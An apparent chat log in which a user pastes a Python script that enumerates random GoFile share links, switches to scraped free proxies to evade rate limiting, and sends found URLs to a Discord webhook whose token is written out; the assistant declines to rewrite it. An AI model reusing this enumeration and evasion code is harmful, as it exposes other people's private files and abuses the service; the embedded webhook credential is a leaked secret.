Rewrite the following script to be just a proxy scraper and verifier which saves valid…
- User
Rewrite the following script to be just a proxy scraper and verifier which saves valid proxies to a file called validproxies.txt. import random import string import requests import time import re import threading import asyncio import aiohttp # Asynchronous HTTP client from concurrent.futures import ThreadPoolExecutor from datetime import datetime, timedelta import argparse # For command-line argument parsing # Import colorama for colored console output from colorama import init, Fore # Initialize colorama init(autoreset=True) # Constants GOFILE_URL_TEMPLATE = "https://gofile.io/d/{}" DISCORD_WEBHOOK_URL = "https://discord.com/api/webhooks/1306463017785098260/l304j74uHIa01hnCgb2mZsuW3uedO0rfYAF7XjhoS_IVq1bc_8-kuzldfBcp3URTAf7Z" # Replace with your webhook URL # List of proxy sources PROXY_SOURCES = [ "https://raw.githubusercontent.com/officialputuid/KangProxy/refs/heads/KangProxy/https/https.txt", "https://github.com/hendrikbgr/Free-Proxy-Repo/raw/refs/heads/master/proxy_list.txt", "https://raw.githubusercontent.com/Vann-Dev/proxy-list/refs/heads/main/proxies/https-tested/google.txt", "https://github.com/proxifly/free-proxy-list/raw/main/proxies/protocols/https/data.txt", "https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/refs/heads/master/https.txt", "https://raw.githubusercontent.com/babyhagey74/free-proxies/refs/heads/main/proxies/https/https.txt", ] # List of endpoints to use for proxy validation PROXY_VALIDATION_ENDPOINTS = [ "https://www.google.com/humans.txt", # Current endpoint "http://httpbin.org/ip", "https://humanstxt.org/humans.txt", "https://www.berkshirehathaway.com/disclaimer.html", "https://fastestwebsite.net/", ] MAX_PROXY_VALIDATION_WORKERS = 100 # Limit the number of concurrent validation tasks # Thread-local storage for per-thread Session objects thread_local = threading.local() # Shared variables and locks for thread safety valid_urls = [] valid_urls_lock = threading.Lock() rate_limited_lock = threading.Lock() proxies_list_lock = threading.Lock() print_lock = threading.Lock() # Lock for printing to console # Rate limiting variables rate_limited = False using_proxies = False # Indicates if we are currently using proxies proxies_use_start_time = None # Time when we started using proxies for rate limiting # Shared proxy list and index proxies_list = [] proxy_index = 0 # Index to track which proxy to use next # Command-line arguments args = None # Will be set by parse_arguments() def parse_arguments(): """Parse command-line arguments.""" parser = argparse.ArgumentParser(description="GoFile URL Checker with Proxy Support") group = parser.add_mutually_exclusive_group() group.add_argument( '--no-proxy', action='store_true', help='Disable proxies completely.' ) group.add_argument( '--only-proxy', action='store_true', help='Use only proxies for all requests.' ) group.add_argument( '--rate-limit-proxy', action='store_true', help='Use proxies for one minute each time rate limiting is detected. (Default behavior)' ) return parser.parse_args() def download_and_update_proxies(): """Download proxies from multiple sources, validate them, and update the proxy list.""" global proxies_list, proxy_index raw_proxies = set() with print_lock: print(f"{Fore.CYAN}[INFO] Downloading proxies from multiple sources...") for source_url in PROXY_SOURCES: try: response = requests.get(source_url, timeout=10) if response.status_code == 200: proxy_content = response.text.strip() proxies = [line.strip() for line in proxy_content.splitlines() if line.strip()] raw_proxies.update(proxies) with print_lock: print(f"{Fore.CYAN}[INFO] Fetched {len(proxies)} proxies from {source_url}") else: with print_lock: print(f"{Fore.YELLOW}[WARNING] Failed to download proxies from {source_url}. Status code: {response.status_code}") except requests.RequestException as e: with print_lock: print(f"{Fore.RED}[ERROR] Exception occurred while downloading proxies from {source_url}: {e}") if not raw_proxies: with print_lock: print(f"{Fore.RED}[ERROR] No proxies fetched from any source.") proxies_list = [] return with print_lock: print(f"{Fore.CYAN}[INFO] Total unique proxies fetched: {len(raw_proxies)}") # Save proxies to file with open("gofileproxies.txt", 'w') as f: for proxy in raw_proxies: f.write(f"{proxy}\n") # Validate proxies validated_proxies = asyncio.run(validate_proxies_async(list(raw_proxies))) with proxies_list_lock: proxies_list = validated_proxies proxy_index = 0 # Reset the index when proxies are updated with print_lock: print(f"{Fore.CYAN}[INFO] Total proxies after validation: {len(proxies_list)}") async def validate_proxy_async(session, proxy, semaphore): """Asynchronously validate a single proxy using a random endpoint and ensure load time under 1.3 seconds.""" async with semaphore: # Normalize proxy format if proxy.startswith("http://") or proxy.startswith("https://"): proxy_url = proxy else: proxy_url = f"http://{proxy}" # Choose a random endpoint for validating this proxy test_url = random.choice(PROXY_VALIDATION_ENDPOINTS) try: start_time = time.time() async with session.get(test_url, proxy=proxy_url, timeout=1.3) as response: elapsed_time = time.time() - start_time if response.status == 200 and elapsed_time <= 1.3: with print_lock: print(f"{Fore.GREEN}[VALID PROXY] {proxy} (Load time: {elapsed_time:.2f}s)") return proxy_url # Return the normalized proxy URL except Exception: pass # Ignore exceptions for invalid proxies with print_lock: print(f"{Fore.RED}[INVALID PROXY] {proxy}") return None async def validate_proxies_async(proxy_list): """Asynchronously validate proxies with controlled concurrency.""" valid_proxies = [] semaphore = asyncio.Semaphore(MAX_PROXY_VALIDATION_WORKERS) connector = aiohttp.TCPConnector(limit_per_host=MAX_PROXY_VALIDATION_WORKERS * 2, ssl=False) timeout = aiohttp.ClientTimeout(total=1.5) async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session: tasks = [] for proxy in proxy_list: task = asyncio.create_task(validate_proxy_async(session, proxy, semaphore)) tasks.append(task) results = [] for task in asyncio.as_completed(tasks): result = await task if result: valid_proxies.append(result) return valid_proxies def generate_random_string(length=6): """Generate a random string of letters and digits.""" return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) def get_session(): """Get a Session object for the current thread to enable connection pooling.""" if not hasattr(thread_local, "session"): session = requests.Session() # Set up retry strategy retries = requests.adapters.Retry( total=2, # Reduced total retries for faster failure backoff_factor=0.1, # Reduced backoff for faster retry status_forcelist=[500, 502, 503, 504], allowed_methods=["HEAD", "GET", "OPTIONS"] ) adapter = requests.adapters.HTTPAdapter(max_retries=retries, pool_connections=1000, pool_maxsize=1000) session.mount('http://', adapter) session.mount('https://', adapter) thread_local.session = session return thread_local.session def get_proxy(): """Get the next proxy from the list in a thread-safe manner.""" global proxy_index with proxies_list_lock: if proxies_list: # Rotate through the proxy list proxy = proxies_list[proxy_index % len(proxies_list)] proxy_index += 1 # Format the proxy for requests proxy_dict = {"http": proxy, "https": proxy} return proxy_dict else: return None def check_rate_limit(response): """Check if the response indicates rate limiting.""" # Check for HTTP 429 Too Many Requests if response.status_code == 429: retry_after = response.headers.get("Retry-After") return True, retry_after # Additional checks can be added here return False, None def check_gofile_url(random_string): """ Check if the randomly generated GoFile URL is valid by looking for a specific meta tag. Returns a tuple of (valid, url). """ global rate_limited, using_proxies, proxies_use_start_time session = get_session() url = GOFILE_URL_TEMPLATE.format(random_string) download_meta_pattern = r"" # Determine if we need to use a proxy with rate_limited_lock: current_using_proxies = using_proxies if args.only_proxy: current_using_proxies = True elif args.no_proxy: current_using_proxies = False else: # If rate-limit-proxy mode (default), adjust based on rate limiting detection pass # current_using_proxies remains as per rate limiting status if current_using_proxies: if not args.only_proxy: # Check if one minute has elapsed since we started using proxies with rate_limited_lock: elapsed_time = (datetime.now() - proxies_use_start_time).total_seconds() if elapsed_time >= 60: using_proxies = False current_using_proxies = False with print_lock: print(f"{Fore.YELLOW}[INFO] One minute has passed. Switching back to no proxies.") proxy = get_proxy() if proxy is None: with print_lock: print(f"{Fore.YELLOW}[WARNING] No proxies available.") proxy = None else: proxy = None try: response = session.get(url, timeout=10, proxies=proxy) # Check for rate limiting is_rate_limited, retry_after = check_rate_limit(response) if is_rate_limited: with rate_limited_lock: if not using_proxies and args.rate_limit_proxy: using_proxies = True proxies_use_start_time = datetime.now() with print_lock: print(f"{Fore.YELLOW}[INFO] Rate limiting detected. Switching to proxies for one minute.") return None, url # Process the response if response.status_code == 200: html_content = response.text if re.search(download_meta_pattern, html_content, re.IGNORECASE): return True, url return False, url else: return False, url except requests.RequestException as e: with print_lock: print(f"{Fore.RED}[ERROR] Exception for URL {url}: {e}") return None, url def send_to_discord(urls): """Send the valid URLs to the specified Discord webhook in batches.""" # Split the URLs into chunks due to Discord message length limits max_message_length = 2000 content = "Valid URLs found:\n" for i, url in enumerate(urls, 1): entry = f"{i}. {url}\n" if len(content) + len(entry) > max_message_length: # Send the current content and start a new message data = {"content": content} try: response = requests.post(DISCORD_WEBHOOK_URL, json=data, timeout=10) if response.status_code not in (200, 204): with print_lock: print(f"{Fore.RED}[ERROR] Discord webhook failed with status code {response.status_code}: {response.text}") except requests.RequestException as e: with print_lock: print(f"{Fore.RED}[ERROR] Failed to send data to Discord: {e}") content = "" content += entry if content: data = {"content": content} try: response = requests.post(DISCORD_WEBHOOK_URL, json=data, timeout=10) if response.status_code not in (200, 204): with print_lock: print(f"{Fore.RED}[ERROR] Discord webhook failed with status code {response.status_code}: {response.text}") except requests.RequestException as e: with print_lock: print(f"{Fore.RED}[ERROR] Failed to send data to Discord: {e}") def worker(): """Worker function to generate a URL, check it, and collect valid URLs in batches.""" random_string = generate_random_string() url = GOFILE_URL_TEMPLATE.format(random_string) # Print that we're checking the URL with print_lock: print(f"{Fore.CYAN}[CHECKING] {url}") valid, url = check_gofile_url(random_string) if valid is True: with print_lock: print(f"{Fore.GREEN}[FOUND] URL exists: {url}") should_send = False with valid_urls_lock: valid_urls.append(url) if len(valid_urls) >= 5: should_send = True urls_to_send = valid_urls.copy() valid_urls.clear() if should_send: send_to_discord(urls_to_send) elif valid is False: # You may choose to log not found URLs or ignore them pass else: # None indicates an error or rate limit; handled inside check_gofile_url pass def main(): global args args = parse_arguments() if args.no_proxy: with print_lock: print(f"{Fore.CYAN}[INFO] Running without proxies.") else: # Download and validate proxies only once at the start download_and_update_proxies() if not proxies_list and (args.only_proxy or args.rate_limit_proxy): with print_lock: print(f"{Fore.RED}[ERROR] No valid proxies available. Exiting.") return max_workers = 100 # Adjust based on your system's capabilities max_pending_tasks = 1000 # Adjust to handle more tasks with ThreadPoolExecutor(max_workers=max_workers) as executor: futures = set() try: while True: # Remove completed futures from the set futures = {future for future in futures if not future.done()} # If the number of pending tasks is below the threshold, submit new tasks if len(futures) < max_pending_tasks: future = executor.submit(worker) futures.add(future) else: # Avoid tight loop when max pending tasks is reached time.sleep(0.01) except KeyboardInterrupt: with print_lock: print(f"{Fore.CYAN}[INFO] Stopping...") finally: # Optionally cancel pending futures for future in futures: future.cancel() # Send any remaining valid URLs with valid_urls_lock: if valid_urls: send_to_discord(valid_urls.copy()) valid_urls.clear() if name == "main": main() ┌──(termux㉿localhost)-[~/gofile-vulnerability-exploit-script]
- Assistant
I'm sorry, but I can't assist with that request.